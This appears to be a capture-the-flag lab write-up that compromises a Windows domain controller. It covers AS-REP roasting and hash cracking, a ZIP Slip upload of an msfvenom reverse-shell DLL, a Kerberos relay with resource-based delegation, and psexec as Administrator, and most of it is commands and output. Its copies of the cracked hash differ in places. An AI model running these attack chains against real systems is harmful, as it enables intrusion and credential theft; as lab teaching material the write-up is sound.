Starting with the nmap scan
➜ ~ sudo nmap -sV -sC -T4 -p- 10.129.77.71
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-26 10:08 CET
Nmap scan report for 10.129.77.71
Host is up (0.015s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 06-29-22 04:55PM <DIR> app
| 06-29-22 04:33PM <DIR> benign
| 06-29-22 01:41PM <DIR> malicious
|_06-29-22 04:33PM <DIR> queue
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-26 09:10:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-26T09:12:20+00:00; +7s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
443/tcp open ssl/http Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=bruno-BRUNODC-CA
| Not valid before: 2022-06-29T13:23:01
|_Not valid after: 2121-06-29T13:33:00
| http-methods:
|_ Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
|_ssl-date: 2025-10-26T09:12:20+00:00; +7s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-26T09:12:20+00:00; +7s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: bruno.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08
|_Not valid after: 2105-10-09T09:54:08
|_ssl-date: 2025-10-26T09:12:20+00:00; +7s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Not valid before: 2025-10-08T09:36:40
|_Not valid after: 2026-04-09T09:36:40
|_ssl-date: 2025-10-26T09:12:20+00:00; +7s from scanner time.
| rdp-ntlm-info:
| Target_Name: BRUNO
| NetBIOS_Domain_Name: BRUNO
| NetBIOS_Computer_Name: BRUNODC
| DNS_Domain_Name: bruno.vl
| DNS_Computer_Name: brunodc.bruno.vl
| DNS_Tree_Name: bruno.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-26T09:11:40+00:00
9389/tcp open mc-nmf .NET Message Framing
49522/tcp open msrpc Microsoft Windows RPC
49527/tcp open msrpc Microsoft Windows RPC
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
58302/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
58304/tcp open msrpc Microsoft Windows RPC
Service Info: Host: BRUNODC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-26T09:11:45
|_ start_date: N/A
|_clock-skew: mean: 6s, deviation: 0s, median: 6s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 211.61 seconds
What stands out:
- Port 21 ftp probably the first step
- Port 88 Kerberos confirming Active Directory
- Port 3389 RDP
- Port 5985 WINRM is not running.
First update the /etc/hosts file.
# Hosts file
nxc smb 10.129.77.71 -u '' -p '' --generate-hosts-file output
# Output
➜ ~ cat output10.129.238.9 BRUNODC.bruno.vl bruno.vl BRUNODCWe can login to ftp anonymously and find files in /app and /benign.
# /app
125 Data connection already open; Transfer starting.
06-29-22 05:42PM 165 changelog
06-28-22 07:15PM 431 SampleScanner.deps.json
06-29-22 03:58PM 7168 SampleScanner.dll
06-29-22 03:58PM 174592 SampleScanner.exe
06-28-22 07:15PM 170 SampleScanner.runtimeconfig.dev.json
06-28-22 07:15PM 154 SampleScanner.runtimeconfig.json
# /benign
125 Data connection already open; Transfer starting.
06-29-22 04:32PM 4 test.exeIn the changelog file, it speaks of a dev site, possible username svc_scan and a EICAR strings which is a test string voor AV.
Version 0.3
- integrated with dev site
- automation using svc_scan
Version 0.2
- additional functionality
Version 0.1
- initial support for EICAR stringThe json files reveal NetCore app 3.1 is used
{
"runtimeOptions": {
"tfm": "netcoreapp3.1",
"framework": {
"name": "Microsoft.NETCore.App",
"version": "3.1.0"
}
}AS-REP Roasting without credentials
I couldn't find anything else so far, back to the username svc_scan. It is possible to ASREPRoast without credentials. ASREPRoasting is requesting a TGT (ticket) for accounts that have set DONT_REQ_PREAUTH meaning pre-authentication is disabled for that account.
AS-REQ, or request for a TGT is where the user proves their identity based on current timestamps encrypted with a key derived from the password. The username is sent in clear text. If the KDC can decrypt it successfully a TGT will be send to the user. This is the pre authentication.
So when DONT_REQ_PREAUTH is set the KDC will send a TGT (Ticket Granting TIcket) without having to send any authentication.
➜ ~ GetNPUsers.py 'bruno.vl/' -usersfile users -format hashcat -outputfile hashes.aspreroast -dc-ip 10.129.77.71
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$svc_scan@BRUNO.VL:83649f109cd0fa10ef252dfa9144a5b5$d9d81320ef77a95d6973c0b6f556672e2002f3bffa9591863faf69834617788c677c55e1e87d3ec0497b196bc574a16c3a56ae50a7c97fb003678305b9e299f4ff3bb9c39c7c4232c1f87a8b6515f80cfe0d96335d8bf692b1c8c61b7110720aaa61faa5989caaaaaq7aacb25e906de6ad571c6b2ec8b340aa0203fc0223d2e4cca7198e744ce24947aedf447807dc27d2ecfd503153a2d9ef19be9bfaab52c1b8db2ff7a86341c35901ba8c849a2da71e06b10fbc37e2b099a169150384c4225d4926c19844b22d23614e52f259aadf8f11b452f0d52ae435cd9dd8a9c80555dfa707283fd88e008cIt returned the Kerberos AS-REP hash (krb5asrep) which I could crack.
➜ ~ hashcat -m 18200 ~/hash ~/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-penryn-AMD Ryzen 7 5700G with Radeon Graphics, 6599/13198 MB (2048 MB allocatable), 8MCU
Dictionary cache hit:
* Filename..: /home/kali/rockyou.txt
* Passwords.: 14344387
* Bytes.....: 139921532
* Keyspace..: 14344387
$krb5asrep$23$svc_scan@BRUNO.VL:83649f109cd0fa10ef252dfa9144a5b5$d9d81320ef77a95d6973c0b6f556672e2002f3bffa9591863faf69834617788c677c55e1e87d3ec0497b196bc574a16c3a56ae50a7c97fb003678305b9e299f4ff3bb9c39c7c4232c1f87a8b6515f80cfe0d963358bf692b1c8c61b7110720a61faa5989c7aacb25e906de6ad571c6b2ec8b340aa0203fc0223d2e4cca7198e744ce24947aedf447807dc272ecfd503153a2d9ewwf19be9bfaab52c1bdd8db2ff7a86341c35901ba8c849a2da71e06b10fbc37e2b099a169150384c4225d4926c19844b22d23614e52f259aadf8f11b452f0d52ae435cd9dd8a9c80555dfa707283fd88e008c:Sunshine1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_scan@BRUNO.VL:83649f109cd0fa10ef2...8e008c
Time.Started.....: Sun Oct 26 14:23:15 2025 (0 secs)
Time.Estimated...: Sun Oct 26 14:23:15 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/home/kali/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 1004.2 kH/s (1.75ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 32768/14344387 (0.23%)
Rejected.........: 0/32768 (0.00%)
Restore.Point....: 24576/14344387 (0.17%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 280890 -> elgordo
Hardware.Mon.#01.: Util: 12%
Started: Sun Oct 26 14:23:01 2025
Stopped: Sun Oct 26 14:23:17 2025
Valid domain credentials.
➜ ~ nxc smb 10.129.77.71 -u svc_scan -p S******1
SMB 10.129.77.71 445 BRUNODC [*] Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.77.71 445 BRUNODC [+] bruno.vl\svc_scan:S******1Checking shares, svc_scan has write rights on queue share.
➜ ~ nxc smb 10.129.77.71 -u svc_scan -p S******1 --shares
SMB 10.129.77.71 445 BRUNODC [*] Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.77.71 445 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
SMB 10.129.77.71 445 BRUNODC [*] Enumerated shares
SMB 10.129.77.71 445 BRUNODC Share Permissions Remark
SMB 10.129.77.71 445 BRUNODC ----- ----------- ------
SMB 10.129.77.71 445 BRUNODC ADMIN$ Remote Admin
SMB 10.129.77.71 445 BRUNODC C$ Default share
SMB 10.129.77.71 445 BRUNODC CertEnroll READ Active Directory Certificate Services share
SMB 10.129.77.71 445 BRUNODC IPC$ READ Remote IPC
SMB 10.129.77.71 445 BRUNODC NETLOGON READ Logon server share
SMB 10.129.77.71 445 BRUNODC queue READ,WRITE
SMB 10.129.77.71 445 BRUNODC SYSVOL READ Logon server shareKerberoasting gave me an extra username svc_net using the same password as svc_scan.
➜ ~ nxc ldap 10.129.77.71 -u svc_scan -p S******1 --kerberoasting output.txt
LDAP 10.129.77.71 389 BRUNODC [*] Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (signing:None) (channel binding:Never)
LDAP 10.129.77.71 389 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
LDAP 10.129.77.71 389 BRUNODC [*] Skipping disabled account: krbtgt
LDAP 10.129.77.71 389 BRUNODC [*] Total of records returned 2
LDAP 10.129.77.71 389 BRUNODC [*] sAMAccountName: svc_net, memberOf: [], pwdLastSet: 2022-06-29 15:35:45.023707, lastLogon: 2025-10-26 14:28:18.517697
LDAP 10.129.77.71 389 BRUNODC $krb5tgs$23$*svc_net$BRUNO.VL$bruno.vl\svc_net*$66c543a5d3bb6c6631f959032f13f1e2$e2f1891<snip>26074d2cdaaf05d8c713dc5f40fa35f35c5cc2df69c703f27a11fd8d1a12139d3e326f697c1fcbcd21887a2fcbb5a93094be9912Dumping the domain to open in Bloodhound, didn't show much at this point.
➜ ~ nxc ldap 10.129.77.71 -u svc_net -p S******1 --bloodhound --collection All --dns-server 10.129.77.71
DLL Hijacking
Going back to the binary we found earlier inside the FTP server, and combining this with having write access to the queue share, DLL hijacking could be possible. Using dnSPY to see what SampleScanner.dll is doing.
The main function entry point of the program. It does:
- Scans
C:\samples\queue\for files. - Extracts ZIP files automatically
- Sorts files into malicious or benign folders
ZIP Slip
There's no sanitization in zipArchiveEntry.FullName meaning absolute paths can be used or ../. So this way we can write files in other directories as well, its path traversal.
string destinationFileName = Path.Combine("C:\\samples\\queue\\", zipArchiveEntry.FullName);
zipArchiveEntry.ExtractToFile(destinationFileName);Next step is to find what dll's the program is using so we can replace them with a malicious .dll. We can use Process Monitor or ProcMon. In procmon set filters for SampleScanner.exe
Set filters:
Filter > Process Name > is > SampleScanner.exe > Include Filter > Operation > is > CreateFile > Include Filter > Path > ends with > .dll > Include
It filters out 4 results where 2 .dll files are called which are searched for in the app directory first but says the files were not found. So when a program is calling files and can't find them we can place a file in that location and the program will execute. In this case we will try hostfxr.dll using msfvenom to create a malicious .dll file.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f dll -o hostfxr.dllZip Slip
The Zip Slip vulnerability is based on using a specially crafted archive that holds directory traversal filenames (e.g. ../../file.dll). I create a zip file with ../app/hostfxr.dll.
When running the program the error tells where its looking.
\SampleScanner.exe
Unhandled exception. System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\samples\queue'.I want to place the malicious .dll inside the /app folder. A simple script to create the archive; ../app/hostfxr.dll.
import zipfile
with zipfile.ZipFile('samples.zip', 'w') as z:
# Path traversal to app directory
z.writestr('../app/hostfxr.dll', open('hostfxr.dll', 'rb').read())Create the .dll file.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.45 LPORT=4444 -f dll -o hostfxr.dllAfter a while the connection is made
➜ ~ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.115.77] 58238
Microsoft Windows [Version 10.0.20348.768]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>dirKrbRelay with RBCD Privilege Escalation
LDAP signing is disabled which can be abused through a Kerberos relay attack. LDAP signing means the LDAP messages are cryptographically protected with a hash signature so without signing or channel binding the DC can't verify if the message is legit. Without signing/channel binding, the DC accepts relayed authentication (AP-REQ) because it can't verify the connection. For Kerberos relay the client needs to be forced to generate the AP-REQ for the target and send it to me.
msDS-AllowedToActOnBehalfOfOtherIdentity
Is an attribute on a computer object in the domain which lists which principals (users or computers) the computer trusts to be delegated to. Which principals are allowed to act on behalf of other users.
We add a fake computer account to
msDS-AllowedToActOnBehalfOfOtherIdentityonbrunodc. Because the DC now trusts that computer to act on behalf of users, the attacker can use it to impersonate any user to the DC and gain access.
We can use this write up to perform the attack. https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9. The tool the perform the attack: https://github.com/Dec0ne/KrbRelayUp.
# Check LDAP Signing
➜ ~ nxc ldap 10.129.238.9 -u 'svc_scan' -p 'Sunshine1' -M ldap-checker
LDAP 10.129.238.9 389 BRUNODC [*] Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (signing:None) (channel binding:Never)
LDAP 10.129.238.9 389 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
# Check Machine Quota
➜ ~ nxc ldap 10.129.238.9 -u 'svc_scan' -p 'Sunshine1' -M maq
LDAP 10.129.238.9 389 BRUNODC [*] Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (signing:None) (channel binding:Never)
LDAP 10.129.238.9 389 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
MAQ 10.129.238.9 389 BRUNODC [*] Getting the MachineAccountQuota
MAQ 10.129.238.9 389 BRUNODC MachineAccountQuota: 10Prerequisites:
-
Attacker must coerce a client to authenticate to controlled service. This generates AP-REQ for a SPN.
-
LDAP signing not required on Domain Controller.
-
Ability for the current domain user to add computers to the domain (ms-DS-MachineAccountQuota = 10 by default!) or an owned computer account
Manual attack
# Add computer
PS C:\windows\tasks> New-MachineAccount -MachineAccount fakecomp -Password $(ConvertTo-SecureString "Pass@12345" -AsPlainText -Force)
[+] Machine account mcz3npc added
# Get computer SID.
PS C:\windows\tasks> $o = ([ADSI]"LDAP://CN=fakecomp,CN=Computers,DC=bruno,DC=vl").objectSID
PS C:\windows\tasks> (New-Object System.Security.Principal.SecurityIdentifier($o.value, 0)).Value
S-1-5-21-1536375944-4286418366-3447278137-5104
# With checkport find available port. https://github.com/cube0x0/KrbRelay
.\checkport.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10246
# Attack
KrbRelay.exe -spn ldap/dc1.ecorp.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5104 -port 10246Automated
# Attack
PS C:\windows\tasks> .\KrbRelayUp.exe relay -Domain bruno.vl -CreateNewComputerAccount -ComputerName zen$ -ComputerPassword Pass@12345 --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp - Relaying you to SYSTEM
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Computer account "zen$" added with password "Pass@12345"
[+] Looking for available ports..
[+] Port 10246 available
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
[+] Run the spawn method for SYSTEM shell:
./KrbRelayUp.exe spawn -m rbcd -d bruno.vl -dc brunodc.bruno.vl -cn zen$ -cp Pass@12345As the relay worked we can request a ST impersonating as adminstrator.
# Request ST
➜ ~ getST.py -spn 'HOST/brunodc.bruno.vl' -impersonate administrator -dc-ip 10.129.238.9 bruno.vl/zen$:'Pass@12345'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@HOST_brunodc.bruno.vl@BRUNO.VL.ccache
# Set variable
export KRB5CCNAME=administrator@HOST_brunodc.bruno.vl@BRUNO.VL.ccache
# And get the flag
➜ ~ psexec.py Administrator@brunodc.bruno.vl -dc-ip 10.129.238.9 -k -no-pass
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on brunodc.bruno.vl.....
[*] Found writable share ADMIN$
[*] Uploading file GXjIbvZK.exe
[*] Opening SVCManager on brunodc.bruno.vl.....
[*] Creating service PwYg on brunodc.bruno.vl.....
[*] Starting service PwYg.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.768]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> cd /users/administrator/desktop
C:\Users\Administrator\Desktop> type root.txt
e3a********************2f
C:\Users\Administrator\Desktop>Sources: